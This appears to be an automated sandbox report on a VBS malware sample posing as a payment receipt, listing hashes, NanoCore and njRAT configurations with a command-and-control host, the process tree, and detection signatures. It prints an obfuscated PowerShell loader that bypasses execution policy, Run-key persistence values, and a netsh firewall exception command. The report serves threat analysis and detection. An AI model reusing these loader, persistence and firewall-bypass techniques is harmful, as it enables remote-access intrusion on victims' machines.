Analysis
-
max time kernel
150s -
max time network
149s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
18-11-2021 19:17
Static task
static1
Behavioral task
behavioral1
Sample
928272_Payment_Receipt.vbs
Resource
win7-en-20211014
General
-
Target
928272_Payment_Receipt.vbs
-
Size
2KB
-
MD5
a19d14dd9f9fc40dcee050f211075042
-
SHA1
2ee3f12297514b90e5c38045f52b3593c4439317
-
SHA256
c793569980c9bf4b3d296903da942e9a11f4c6e2fb0023517a037fc3d56c1b36
-
SHA512
a14aac7365e5305c47d726dd7980dcc5a8f714025e7dad4759ccc03ce1f657b31bda391933caf31ec305b532cb7dba7ca34ad7e59ff2971c30add90b554fc4b8
Malware Config
Extracted
nanocore
1.2.2.0
jamcav.duckdns.org:6746
9bb8b571-1a08-4fb2-8447-a1da0968f2fa
-
activate_away_mode
true
-
backup_connection_host
jamcav.duckdns.org
-
backup_dns_server
8.8.4.4
-
buffer_size
65535
-
build_time
2021-08-20T15:54:30.577245636Z
-
bypass_user_account_control
true
- bypass_user_account_control_data
-
clear_access_control
true
-
clear_zone_identifier
false
-
connect_delay
4000
-
connection_port
6746
-
default_group
jam
-
enable_debug_mode
true
-
gc_threshold
1.048576e+07
-
keep_alive_timeout
30000
-
keyboard_logging
false
-
lan_timeout
2500
-
max_packet_size
1.048576e+07
-
mutex
9bb8b571-1a08-4fb2-8447-a1da0968f2fa
-
mutex_timeout
5000
-
prevent_system_sleep
false
-
primary_connection_host
jamcav.duckdns.org
-
primary_dns_server
8.8.8.8
-
request_elevation
true
-
restart_delay
5000
-
run_delay
0
-
run_on_startup
true
-
set_critical_process
true
-
timeout_interval
5000
-
use_custom_dns_server
false
-
version
1.2.2.0
-
wan_timeout
8000
Extracted
njrat
1.9
HacKed
Microsoft.Exe
-
reg_key
Microsoft.Exe
Signatures
-
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 9 4500 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
GoogleCrashHandler.exepid process 2756 GoogleCrashHandler.exe -
Modifies Windows Firewall 1 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
jsc.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .." jsc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .." jsc.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.exedescription pid process target process PID 4500 set thread context of 1572 4500 powershell.exe jsc.exe PID 4500 set thread context of 2040 4500 powershell.exe jsc.exe PID 4500 set thread context of 2788 4500 powershell.exe jsc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 12 IoCs
Processes:
powershell.exepowershell.exejsc.exepid process 4160 powershell.exe 4160 powershell.exe 4160 powershell.exe 4500 powershell.exe 4500 powershell.exe 4500 powershell.exe 2040 jsc.exe 2040 jsc.exe 2040 jsc.exe 2040 jsc.exe 2040 jsc.exe 2040 jsc.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
jsc.exepid process 2040 jsc.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
Processes:
powershell.exepowershell.exejsc.exejsc.exedescription pid process Token: SeDebugPrivilege 4160 powershell.exe Token: SeDebugPrivilege 4500 powershell.exe Token: SeDebugPrivilege 2040 jsc.exe Token: SeDebugPrivilege 2788 jsc.exe Token: 33 2788 jsc.exe Token: SeIncBasePriorityPrivilege 2788 jsc.exe Token: 33 2788 jsc.exe Token: SeIncBasePriorityPrivilege 2788 jsc.exe Token: 33 2788 jsc.exe Token: SeIncBasePriorityPrivilege 2788 jsc.exe Token: 33 2788 jsc.exe Token: SeIncBasePriorityPrivilege 2788 jsc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
jsc.exepid process 1572 jsc.exe -
Suspicious use of WriteProcessMemory 34 IoCs
Processes:
WScript.exepowershell.exepowershell.exejsc.exejsc.exedescription pid process target process PID 2860 wrote to memory of 4160 2860 WScript.exe powershell.exe PID 2860 wrote to memory of 4160 2860 WScript.exe powershell.exe PID 4160 wrote to memory of 4500 4160 powershell.exe powershell.exe PID 4160 wrote to memory of 4500 4160 powershell.exe powershell.exe PID 4500 wrote to memory of 1572 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 1572 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 1572 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 1572 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 1572 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 1572 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 1572 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 1572 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2040 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2040 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2040 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2040 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2040 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2040 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2040 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2040 4500 powershell.exe jsc.exe PID 1572 wrote to memory of 2756 1572 jsc.exe GoogleCrashHandler.exe PID 1572 wrote to memory of 2756 1572 jsc.exe GoogleCrashHandler.exe PID 1572 wrote to memory of 2756 1572 jsc.exe GoogleCrashHandler.exe PID 4500 wrote to memory of 2788 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2788 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2788 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2788 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2788 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2788 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2788 4500 powershell.exe jsc.exe PID 4500 wrote to memory of 2788 4500 powershell.exe jsc.exe PID 2788 wrote to memory of 1276 2788 jsc.exe netsh.exe PID 2788 wrote to memory of 1276 2788 jsc.exe netsh.exe PID 2788 wrote to memory of 1276 2788 jsc.exe netsh.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\928272_Payment_Receipt.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $cc = 'by------------s'.Replace('------------','pas');$bb = '-ex++++++++++++++++icy'.Replace('++++++++++++++++','ecutionpol');$aa = '-no--------------le'.Replace('--------------','profi');$dd = 'C:\Us<<<<<<<<<>>>>>>>>>ar.ps1'.Replace('<<<<<<<<<>>>>>>>>>','ers\Public\Downloads\HB');$Run = 'Powers-----------------dd'.Replace('-----------------','hell $aa $bb $cc -file $');($Run -Join '')|&('I'+'eX')2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -file C:\Users\Public\Downloads\HBar.ps13⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"4⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe"C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe"5⤵
- Executes dropped EXE
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"4⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" "jsc.exe" ENABLE5⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
010c219c46b4439bc787644989e20389
SHA1f3a63066ab4446458bd6417386777e39e09b9b25
SHA2562a7c264d94398912c720de578b6d959b2457582182b8f2cc98281f27ef6701aa
SHA512c6967d2a37b9a45f491138b638d99e5fa09ef38f680c887bfbc2336c683deae86f4d6626f6defc8c0aabccf545923a708df05825de8102086a8f333a58e74963
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\jsc.exe.logMD5
6cbb1d6c55c64852f7b0e9414b2adda6
SHA1ffb792bb6182475bea27e090e347bfe0fe87f9ed
SHA2566d98c0f1c22acff523f7bdc81746a0ad7ed811d6a8de4ca8fa76d24b73c6e469
SHA512236aa3aaff08969eb470d2a077eea37cf10169ae2455568fc3e9c753e13e55654ff0a6730c7732b5f1b02d64a0fceb17626b05b87a922f4c20369c76c99ad2a4
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
89bf9e281975f9bf245843bf7103f37d
SHA1ddbd1bf9a760197e41ee9b5401f4656f6fc2012a
SHA256d0965fc09021ab6dbebfc36176e7278b7364763276f9acaf6a603ea5224e4608
SHA512cf1f65f7c4bdba354fbd43b63b8668fd90f72a0df11f102ca4b3a82b29bfe63b6677769c67d1efef11426a7b470cb9724e3204ab9991b8f599ce66c607948e30
-
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exeMD5
f1feead2143c07ca411d82a29fa964af
SHA12198e7bf402773757bb2a25311ffd2644e5a1645
SHA2568f2800ac8af72e8038e146b3988a30651952f20ed6cdf7be3ae4709fbb026af1
SHA512e7e2266ec862a793da7cea01c926b7a874453cf2efb0b4b77776c26042dc2ded74f17c390fad97bd2d8c0c4971a1b9d9e6c705a13edbc9e48570922e5e6cc9df
-
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exeMD5
f1feead2143c07ca411d82a29fa964af
SHA12198e7bf402773757bb2a25311ffd2644e5a1645
SHA2568f2800ac8af72e8038e146b3988a30651952f20ed6cdf7be3ae4709fbb026af1
SHA512e7e2266ec862a793da7cea01c926b7a874453cf2efb0b4b77776c26042dc2ded74f17c390fad97bd2d8c0c4971a1b9d9e6c705a13edbc9e48570922e5e6cc9df
-
C:\Users\Public\Downloads\HBar.ps1MD5
8a43ee43aceb932ae16cd4fce2bc6166
SHA1add161894bd58603f8cfe5de9d96d24670e653e8
SHA25695a46df81c69a689c59907615108c3ff78734078c0555a260b504aab3ab41034
SHA512a91342ef78f76eeac24ac79287703343483c3b728a3beb69345071545bccbf511744ce278863c6de8d345057452dbc7cd4ff583a8796e28199395e5af764c6f3
-
memory/1276-202-0x0000000000000000-mapping.dmp
-
memory/1572-176-0x00000000052A0000-0x000000000579E000-memory.dmpFilesize
5.0MB
-
memory/1572-167-0x00000000057A0000-0x00000000057A1000-memory.dmpFilesize
4KB
-
memory/1572-162-0x00000000004123BE-mapping.dmp
-
memory/1572-161-0x0000000000400000-0x0000000000418000-memory.dmpFilesize
96KB
-
memory/1572-165-0x0000000005160000-0x0000000005161000-memory.dmpFilesize
4KB
-
memory/1572-166-0x0000000005200000-0x0000000005201000-memory.dmpFilesize
4KB
-
memory/2040-177-0x00000000055A0000-0x0000000005A9E000-memory.dmpFilesize
5.0MB
-
memory/2040-201-0x00000000055A0000-0x0000000005A9E000-memory.dmpFilesize
5.0MB
-
memory/2040-170-0x000000000041E792-mapping.dmp
-
memory/2040-169-0x0000000000400000-0x0000000000438000-memory.dmpFilesize
224KB
-
memory/2040-178-0x00000000055E0000-0x00000000055E1000-memory.dmpFilesize
4KB
-
memory/2040-199-0x0000000005880000-0x0000000005899000-memory.dmpFilesize
100KB
-
memory/2040-198-0x0000000005820000-0x0000000005825000-memory.dmpFilesize
20KB
-
memory/2756-191-0x0000000000800000-0x0000000000801000-memory.dmpFilesize
4KB
-
memory/2756-180-0x0000000000000000-mapping.dmp
-
memory/2756-197-0x000000007E660000-0x000000007E661000-memory.dmpFilesize
4KB
-
memory/2788-183-0x000000000040BBCE-mapping.dmp
-
memory/2788-181-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/2788-203-0x0000000004FA0000-0x000000000503C000-memory.dmpFilesize
624KB
-
memory/4160-120-0x0000012636D40000-0x0000012636D42000-memory.dmpFilesize
8KB
-
memory/4160-119-0x000001261CDD0000-0x000001261CDD2000-memory.dmpFilesize
8KB
-
memory/4160-115-0x0000000000000000-mapping.dmp
-
memory/4160-126-0x0000012637810000-0x0000012637811000-memory.dmpFilesize
4KB
-
memory/4160-117-0x000001261CDD0000-0x000001261CDD2000-memory.dmpFilesize
8KB
-
memory/4160-116-0x000001261CDD0000-0x000001261CDD2000-memory.dmpFilesize
8KB
-
memory/4160-118-0x000001261CDD0000-0x000001261CDD2000-memory.dmpFilesize
8KB
-
memory/4160-125-0x000001261CDD0000-0x000001261CDD2000-memory.dmpFilesize
8KB
-
memory/4160-121-0x0000012636BE0000-0x0000012636BE1000-memory.dmpFilesize
4KB
-
memory/4160-196-0x0000012636D46000-0x0000012636D48000-memory.dmpFilesize
8KB
-
memory/4160-122-0x0000012636D43000-0x0000012636D45000-memory.dmpFilesize
8KB
-
memory/4160-128-0x000001261CDD0000-0x000001261CDD2000-memory.dmpFilesize
8KB
-
memory/4160-127-0x000001261CDD0000-0x000001261CDD2000-memory.dmpFilesize
8KB
-
memory/4160-194-0x000001261CDD0000-0x000001261CDD2000-memory.dmpFilesize
8KB
-
memory/4160-123-0x000001261CDD0000-0x000001261CDD2000-memory.dmpFilesize
8KB
-
memory/4160-124-0x000001261CDD0000-0x000001261CDD2000-memory.dmpFilesize
8KB
-
memory/4500-141-0x000001505E750000-0x000001505E752000-memory.dmpFilesize
8KB
-
memory/4500-185-0x000001505E750000-0x000001505E752000-memory.dmpFilesize
8KB
-
memory/4500-160-0x0000015079100000-0x0000015079104000-memory.dmpFilesize
16KB
-
memory/4500-145-0x000001505E750000-0x000001505E752000-memory.dmpFilesize
8KB
-
memory/4500-149-0x0000015078496000-0x0000015078498000-memory.dmpFilesize
8KB
-
memory/4500-132-0x0000000000000000-mapping.dmp
-
memory/4500-142-0x000001505E750000-0x000001505E752000-memory.dmpFilesize
8KB
-
memory/4500-133-0x000001505E750000-0x000001505E752000-memory.dmpFilesize
8KB
-
memory/4500-134-0x000001505E750000-0x000001505E752000-memory.dmpFilesize
8KB
-
memory/4500-135-0x000001505E750000-0x000001505E752000-memory.dmpFilesize
8KB
-
memory/4500-136-0x000001505E750000-0x000001505E752000-memory.dmpFilesize
8KB
-
memory/4500-138-0x000001505E750000-0x000001505E752000-memory.dmpFilesize
8KB
-
memory/4500-139-0x0000015078490000-0x0000015078492000-memory.dmpFilesize
8KB
-
memory/4500-140-0x0000015078493000-0x0000015078495000-memory.dmpFilesize
8KB